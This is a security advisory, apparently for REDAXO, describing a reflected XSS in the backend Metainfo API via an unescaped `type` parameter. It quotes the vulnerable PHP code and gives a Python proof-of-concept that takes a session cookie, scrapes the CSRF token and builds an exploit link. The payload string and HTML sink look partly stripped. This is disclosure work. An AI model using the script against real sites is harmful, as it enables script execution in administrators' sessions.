REDAXO has reflected XSS in backend Metainfo API via type parameter (CSRF token required)
### Summary
A **reflected XSS** vulnerability has been identified in the REDAXO backend. The `type` parameter is concatenated into an API error message and rendered without HTML escaping.
### Details
**Root cause**
User input `type` is injected into an exception message, then rendered by `rex_view::error()` which delegates to `rex_view::message()` without HTML escaping.
**Vulnerable code (`redaxo/src/addons/metainfo/lib/handler/api_default_fields.php`) :**
```php
$type = rex_get('type', 'string');
throw new rex_api_exception(sprintf('metainfo type "%s" does not have default field.', $type));
```
**Sink (`redaxo/src/core/lib/view.php`) :**
```php
return '
' . $message . '
';
```
**Data flow source -> sink**
- Source : `type` (GET)
- Propagation : concatenated into the exception message
- Sink : rendered via `rex_view::error()` -> `rex_view::message()` without escaping
**Authentication required :** yes (backend session)
### PoC - exploit
```python
#!/usr/bin/env python3
import re
import urllib.parse
import requests
TARGET_URL = "http://poc.local/"
BACKEND_PATH = "redaxo/index.php"
SESSION_ID = "xxxxxxxxxxxxxxxxxxxxx"
VERIFY_SSL = False
TIMEOUT = 15
PAYLOAD = '\">'
def build_backend_url() -> str:
base = TARGET_URL.rstrip("/")
return f"{base}/{BACKEND_PATH.lstrip('/')}"
def extract_api_csrf(html_text: str) -> str:
m = re.search(r'rex-api-call=metainfo_default_fields_create[^"\']+', html_text)
if not m:
raise RuntimeError("Could not find the metainfo_default_fields_create API link in the page HTML.")
fragment = m.group(0).replace("&", "&")
token_match = re.search(r"_csrf_token=([^&]+)", fragment)
if not token_match:
raise RuntimeError("CSRF token for metainfo_default_fields_create was not found in the extracted link.")
return token_match.group(1)
def set_session_cookie(session: requests.Session) -> None:
parsed = urllib.parse.urlparse(TARGET_URL)
if parsed.hostname:
session.cookies.set("PHPSESSID", SESSION_ID, domain=parsed.hostname, path="/")
def main() -> None:
backend_url = build_backend_url()
s = requests.Session()
set_session_cookie(s)
# Admin backend session required
r0 = s.get(backend_url, timeout=TIMEOUT, verify=VERIFY_SSL)
if "rex-page-login" in r0.text or "rex_user_login" in r0.text:
print("[!] Invalid/expired PHPSESSID. Update SESSION_ID with a valid backend session.")
return
r = s.get(backend_url, params={"page": "metainfo/articles"}, timeout=TIMEOUT, verify=VERIFY_SSL)
if r.status_code != 200:
print(f"[!] Failed to access metainfo page (HTTP {r.status_code}).")
return
api_token = extract_api_csrf(r.text)
params = {
"page": "metainfo/articles",
"rex-api-call": "metainfo_default_fields_create",
"type": PAYLOAD,
"_csrf_token": api_token,
}
exploit_url = f"{backend_url}?{urllib.parse.urlencode(params)}"
print(exploit_url)
if __name__ == "__main__":
main()
```
The script uses only the provided PHPSESSID, retrieves the CSRF token from the metainfo page, and prints a ready-to-use exploit link.
### Impact
- **Confidentiality :** Low : no direct session theft (HttpOnly cookies), but possibility to access/exfiltrate data available via the DOM or via same-origin requests if the XSS executes in a victim’s session.
- **Integrity :** Low : possibility to chain backend actions on behalf of the user (same-origin requests) only if execution takes place in a victim session; otherwise the impact is limited to the user who triggers the call.
- **Availability :** Low : the XSS could disrupt the administration interface or trigger unwanted actions, but the token requirement strongly limits realistic scenarios.
### Video
https://github.com/user-attachments/assets/251f548c-3f68-483b-a012-b8fc28493a83